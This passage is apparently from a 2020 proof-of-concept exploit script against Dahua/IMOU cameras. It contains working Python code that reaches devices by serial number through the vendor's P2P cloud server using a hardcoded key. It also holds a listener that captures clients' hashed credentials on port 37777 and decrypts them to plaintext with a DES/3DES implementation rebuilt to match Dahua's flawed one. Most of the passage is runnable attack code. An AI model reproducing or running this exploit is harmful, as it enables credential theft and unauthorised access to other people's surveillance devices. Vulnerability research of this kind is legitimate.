  702. Packet = b'PTCP' + self.RemoteListenID + self.LocalListenID + p16(0x0) + self.DHP2P_PTCP_PacketID(self.SentPacketID) + self.LocalMessageID + self.RemoteMessageID
  703. self.DHP2P_PTCP_P2P(Packet,'PINGACK')
  704. self.CONNECT = False
  705. return False
  706. else:
  707. #
  708. # Return DVRIP packet
  709. #
  710. if len(response) > 68: # PTCP + DVRIP
  711. return response[36:].decode('latin-1')
  712. except Exception as e:
  713. log.failure(e)
  714. return False
  715. #
  716. # Not sure if this is correct, but it does the work
  717. #
  718. def DHP2P_PTCP_PacketID(self, length):
  719. return p16(65535 - (length), endian='big')
  720. def Dahua_DHP2P_Login():
  721. USER = "P2PClient"
  722. SERVER = "www.easy4ipcloud.com"
  723. PORT = 8800
  724. KEY = "YXQ3Mahe-5H-R1Z_"
  725. DHP2P_P2P = DHP2P_P2P_Client(USER, SERVER, PORT, KEY, args.dhp2p)
  726. if not DHP2P_P2P.DHP2P_P2P_ProbeDevice():
  727. return False
  728. if args.probe:
  729. return True
  730. if not DHP2P_P2P.DHP2P_P2P_WSSE():
  731. return False
  732. if not DHP2P_P2P.DHP2P_P2P_Stun():
  733. return False
  734. if not DHP2P_P2P.DHP2P_P2P_PTCP():
  735. return False
  736. return True
  737. def PoC_3des():
  738. try:
  739. s = server(port=37777, bindaddr='0.0.0.0', fam='any', typ='tcp')
  740. des = s.next_connection()
  741. except (Exception, KeyboardInterrupt, SystemExit) as e:
  742. print(e)
  743. return False
  744. data = des.recv(numb=8192,timeout=4).decode('latin-1')
  745. DEBUG("RECV", data)
  746. USER_NAME_HASH = data[8:16].encode('latin-1')
  747. USER_PASS_HASH = data[16:24].encode('latin-1')
  748. USER_NAME = Dahua_Gen0_hash(USER_NAME_HASH,DECRYPT) if unpack(USER_NAME_HASH,word_size = 64) else '[Leak fixed? Received 0x0]'
  749. PASSWORD = Dahua_Gen0_hash(USER_PASS_HASH,DECRYPT) if unpack(USER_NAME_HASH,word_size = 64) else '[Leak fixed? Received 0x0]'
  750. log.success("Client username: {}".format(USER_NAME))
  751. log.success("Client password: {}".format(PASSWORD))
  752. des.close()
  753. return False
  754. #
  755. # This code is based based on
  756. #
  757. # """
  758. # A pure python implementation of the DES and TRIPLE DES encryption algorithms.
  759. # Author: Todd Whiteman
  760. # Homepage: http://twhiteman.netfirms.com/des.html
  761. # """
  762. #
  763. # [WARNING!] Do _NOT_ reuse below code for legit DES/3DES! [WARNING!]
  764. #
  765. # This code has been cleaned and modified so it will fit the needs to
  766. # replicate Dahua's implemenation of DES/3DES with endianness bugs.
  767. # (Both encrypt and decrypt will of course work)
  768. #
  769. # The base class shared by des and triple des.
  770. class _baseDes(object):
  771. def __init__(self):
  772. self.block_size = 8
  773. def getKey(self):
  774. """getKey() -> bytes"""
  775. return self.__key
  776. def setKey(self, key):
  777. """Will set the crypting key for this object."""
  778. self.__key = key
  779. #############################################################################
  780. # DES #
  781. #############################################################################
  782. class des(_baseDes):
  783. # Permutation and translation tables for DES
  784. __pc1 = [
  785. 56, 48, 40, 32, 24, 16, 8,
  786. 0, 57, 49, 41, 33, 25, 17,
  787. 9, 1, 58, 50, 42, 34, 26,
  788. 18, 10, 2, 59, 51, 43, 35,
  789. 62, 54, 46, 38, 30, 22, 14,
  790. 6, 61, 53, 45, 37, 29, 21,
  791. 13, 5, 60, 52, 44, 36, 28,
  792. 20, 12, 4, 27, 19, 11, 3
  793. ]
  794. # number left rotations of pc1
  795. __left_rotations = [
  796. 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
  797. ]
  798. # permuted choice key (table 2)
  799. __pc2 = [
  800. 13, 16, 10, 23, 0, 4,
  801. 2, 27, 14, 5, 20, 9,
  802. 22, 18, 11, 3, 25, 7,
  803. 15, 6, 26, 19, 12, 1,
  804. 40, 51, 30, 36, 46, 54,
  805. 29, 39, 50, 44, 32, 47,
  806. 43, 48, 38, 55, 33, 52,
  807. 45, 41, 49, 35, 28, 31
  808. ]
  809. # initial permutation IP
  810. __ip = [
  811. 57, 49, 41, 33, 25, 17, 9, 1,
  812. 59, 51, 43, 35, 27, 19, 11, 3,
  813. 61, 53, 45, 37, 29, 21, 13, 5,
  814. 63, 55, 47, 39, 31, 23, 15, 7,
  815. 56, 48, 40, 32, 24, 16, 8, 0,
  816. 58, 50, 42, 34, 26, 18, 10, 2,
  817. 60, 52, 44, 36, 28, 20, 12, 4,
  818. 62, 54, 46, 38, 30, 22, 14, 6
  819. ]
  820. # Expansion table for turning 32 bit blocks into 48 bits
  821. __expansion_table = [
  822. 31, 0, 1, 2, 3, 4,
  823. 3, 4, 5, 6, 7, 8,
  824. 7, 8, 9, 10, 11, 12,
  825. 11, 12, 13, 14, 15, 16,
  826. 15, 16, 17, 18, 19, 20,
  827. 19, 20, 21, 22, 23, 24,
  828. 23, 24, 25, 26, 27, 28,
  829. 27, 28, 29, 30, 31, 0
  830. ]
  831. # The (in)famous S-boxes
  832. __sbox = [
  833. # S1
  834. [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
  835. 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
  836. 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
  837. 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],
  838. # S2
  839. [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
  840. 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
  841. 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
  842. 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],
  843. # S3
  844. [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
  845. 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
  846. 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
  847. 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],
  848. # S4
  849. [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
  850. 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
  851. 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
  852. 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],
  853. # S5
  854. [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
  855. 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
  856. 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
  857. 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],
  858. # S6
  859. [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
  860. 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
  861. 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
  862. 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],
  863. # S7
  864. [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
  865. 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
  866. 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
  867. 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12],
  868. # S8
  869. [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
  870. 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
  871. 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
  872. 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],
  873. ]
  874. # 32-bit permutation function P used on the output of the S-boxes
  875. __p = [
  876. 15, 6, 19, 20, 28, 11,
  877. 27, 16, 0, 14, 22, 25,
  878. 4, 17, 30, 9, 1, 7,
  879. 23,13, 31, 26, 2, 8,
  880. 18, 12, 29, 5, 21, 10,
  881. 3, 24
  882. ]
  883. # final permutation IP^-1
  884. __fp = [
  885. 39, 7, 47, 15, 55, 23, 63, 31,
  886. 38, 6, 46, 14, 54, 22, 62, 30,
  887. 37, 5, 45, 13, 53, 21, 61, 29,
  888. 36, 4, 44, 12, 52, 20, 60, 28,
  889. 35, 3, 43, 11, 51, 19, 59, 27,
  890. 34, 2, 42, 10, 50, 18, 58, 26,
  891. 33, 1, 41, 9, 49, 17, 57, 25,
  892. 32, 0, 40, 8, 48, 16, 56, 24
  893. ]
  894. # Initialisation
  895. def __init__(self, key):
  896. _baseDes.__init__(self)
  897. self.key_size = 8
  898. self.L = []
  899. self.R = []
  900. self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16)
  901. self.final = []
  902. self.setKey(key)
  903. def setKey(self, key):
  904. """Will set the crypting key for this object. Must be 8 bytes."""
  905. _baseDes.setKey(self, key)
  906. self.__create_sub_keys()
  907. def __String_to_BitList(self, data):
  908. """Turn the string data, into a list of bits (1, 0)'s"""
  909. return bits(data,endian='little') # Dahua endianness bug
  910. def __BitList_to_String(self, data):
  911. """Turn the list of bits -> data, into a string"""
  912. return bytes(list(unbits(data,endian='little'))) # Dahua endianness bug
  913. def __permutate(self, table, block):
  914. """Permutate this block with the specified table"""
  915. return list(map(lambda x: block[x], table))
  916. # Transform the secret key, so that it is ready for data processing
  917. # Create the 16 subkeys, K[1] - K[16]
  918. def __create_sub_keys(self):
  919. """Create the 16 subkeys K[1] to K[16] from the given key"""
  920. key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey()))
  921. i = 0
  922. # Split into Left and Right sections
  923. self.L = key[:28]
  924. self.R = key[28:]
  925. while i < 16:
  926. j = 0
  927. # Perform circular left shifts
  928. while j < des.__left_rotations[i]:
  929. self.L.append(self.L[0])
  930. del self.L[0]
  931. self.R.append(self.R[0])
  932. del self.R[0]
  933. j += 1
  934. # Create one of the 16 subkeys through pc2 permutation
  935. self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R)
  936. i += 1
  937. # Main part of the encryption algorithm, the number cruncher :)
  938. def __des_crypt(self, block, crypt_type):
  939. """Crypt the block of data through DES bit-manipulation"""
  940. block = self.__permutate(des.__ip, block)
  941. self.L = block[:32]
  942. self.R = block[32:]
  943. # Encryption starts from Kn[1] through to Kn[16]
  944. if crypt_type == ENCRYPT:
  945. iteration = 0
  946. iteration_adjustment = 1
  947. # Decryption starts from Kn[16] down to Kn[1]
  948. else:
  949. iteration = 15
  950. iteration_adjustment = -1
  951. i = 0
  952. while i < 16:
  953. # Make a copy of R[i-1], this will later become L[i]
  954. if crypt_type == ENCRYPT:
  955. tempR = self.R[:]
  956. else:
  957. tempR = self.L[:]
  958. # Permutate R[i - 1] to start creating R[i]
  959. if crypt_type == ENCRYPT:
  960. self.R = self.__permutate(des.__expansion_table, self.R)
  961. else:
  962. self.L = self.__permutate(des.__expansion_table, self.L)
  963. # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here
  964. if crypt_type == ENCRYPT:
  965. self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration]))
  966. B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]]
  967. else:
  968. self.L = list(map(lambda x, y: x ^ y, self.L, self.Kn[iteration]))
  969. B = [self.L[:6], self.L[6:12], self.L[12:18], self.L[18:24], self.L[24:30], self.L[30:36], self.L[36:42], self.L[42:]]
  970. # Permutate B[1] to B[8] using the S-Boxes
  971. j = 0
  972. Bn = []
  973. while j < 8:
  974. # Work out the offsets
  975. m = (B[j][0] << 1) + B[j][5]
  976. n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4]
  977. # Find the permutation value
  978. v = des.__sbox[j][(m << 4) + n]
  979. # Turn value into bits, add it to result: Bn
  980. for tmp in list(map(lambda x: x, bits(v,endian='little')[:4])): # Dahua endianness bug
  981. Bn.append(tmp)
  982. j += 1
  983. # Permutate the concatination of B[1] to B[8] (Bn)
  984. if crypt_type == ENCRYPT:
  985. self.R = self.__permutate(des.__p, Bn)
  986. else:
  987. self.L = self.__permutate(des.__p, Bn)
  988. # Xor with L[i - 1]
  989. if crypt_type == ENCRYPT:
  990. self.R = list(map(lambda x, y: x ^ y, self.R, self.L))
  991. else:
  992. self.L = list(map(lambda x, y: x ^ y, self.R, self.L))
  993. # L[i] becomes R[i - 1]
  994. if crypt_type == ENCRYPT:
  995. self.L = tempR
  996. else:
  997. self.R = tempR
  998. i += 1
  999. iteration += iteration_adjustment
  1000. # Final permutation of R[16]L[16]
  1001. if crypt_type == ENCRYPT:
  1002. self.final = self.__permutate(des.__fp, self.L + self.R)
  1003. else:
  1004. self.final = self.__permutate(des.__fp, self.L + self.R)
  1005. return self.final
  1006. # Data to be encrypted/decrypted
  1007. def crypt(self, data, crypt_type):
  1008. """Crypt the data in blocks, running it through des_crypt()"""
  1009. # Error check the data
  1010. if not data:
  1011. return ''
  1012. # Split the data into blocks, crypting each one seperately
  1013. i = 0
  1014. dict = {}
  1015. result = []
  1016. while i < len(data):
  1017. block = self.__String_to_BitList(data[i:i+8])
  1018. processed_block = self.__des_crypt(block, crypt_type)
  1019. # Add the resulting crypted block to our list
  1020. result.append(self.__BitList_to_String(processed_block))
  1021. i += 8
  1022. # Return the full crypted string
  1023. return bytes.fromhex('').join(result)
  1024. def encrypt(self, data):
  1025. return self.crypt(data, ENCRYPT)
  1026. def decrypt(self, data):
  1027. return self.crypt(data, DECRYPT)
  1028. #############################################################################
  1029. # Triple DES #
  1030. #############################################################################
  1031. class triple_des(_baseDes):
  1032. def __init__(self, key):
  1033. _baseDes.__init__(self)
  1034. self.setKey(key)
  1035. def setKey(self, key):
  1036. """Will set the crypting key for this object. Either 16 or 24 bytes long."""
  1037. self.key_size = 24 # Use DES-EDE3 mode
  1038. if len(key) != self.key_size:
  1039. if len(key) == 16: # Use DES-EDE2 mode
  1040. self.key_size = 16
  1041. self.__key1 = des(key[:8])
  1042. self.__key2 = des(key[8:16])
  1043. if self.key_size == 16:
  1044. self.__key3 = self.__key1
  1045. else:
  1046. self.__key3 = des(key[16:])
  1047. _baseDes.setKey(self, key)
  1048. def encrypt(self, data):
  1049. data = self.__key1.crypt(data, ENCRYPT)
  1050. data = self.__key2.crypt(data, DECRYPT)
  1051. data = self.__key3.crypt(data, ENCRYPT)
  1052. return data
  1053. def decrypt(self, data):
  1054. data = self.__key3.crypt(data, DECRYPT)
  1055. data = self.__key2.crypt(data, ENCRYPT)
  1056. data = self.__key1.crypt(data, DECRYPT)
  1057. return data
  1058. #
  1059. # --------- [END] ---------
  1060. #
  1061. if __name__ == '__main__':
  1062. #
  1063. # Help, info and pre-defined values
  1064. #
  1065. INFO = '[Dahua 3DES/IMOU PoC 2020 bashis <mcw noemail eu>]\n'
  1066. #
  1067. # Try to parse all arguments
  1068. #
  1069. try:
  1070. arg_parser = argparse.ArgumentParser(
  1071. prog=sys.argv[0],
  1072. description=('[*] '+ INFO +' [*]'))
  1073. arg_parser.add_argument('--poc_3des', required=False, default=False, action='store_true', help='Dahua 3DES decryption PoC')
  1074. arg_parser.add_argument('--dhp2p', required=False, type=str, default=None, help='[dhp2p_poc] Device serial number we shall connect to')
  1075. arg_parser.add_argument('--probe', required=False, default=False, action='store_true', help='[dhp2p_poc] Probe the device only')
  1076. arg_parser.add_argument('-d','--debug', required=False, default=0, const=0x1, dest="debug", action='store_const', help='Debug (normal)')
  1077. arg_parser.add_argument('-dd','--ddebug', required=False, default=0, const=0x2, dest="ddebug", action='store_const', help='Debug (hexdump)')
  1078. args = arg_parser.parse_args()
  1079. except Exception as e:
  1080. print(INFO,"\nError: {}\n".format(str(e)))
  1081. sys.exit(False)
  1082. # We want at least one argument, so print out help
  1083. if len(sys.argv) == 1:
  1084. arg_parser.parse_args(['-h'])
  1085. log.info(INFO)
  1086. status = True
  1087. debug = args.debug + args.ddebug
  1088. if args.poc_3des:
  1089. status = PoC_3des()
  1090. elif args.probe and not args.dhp2p:
  1091. log.failure("You need to set '--dhp2p'")
  1092. status = False
  1093. elif args.dhp2p:
  1094. status = Dahua_DHP2P_Login()
  1095. log.info("All done")
  1096. sys.exit(status)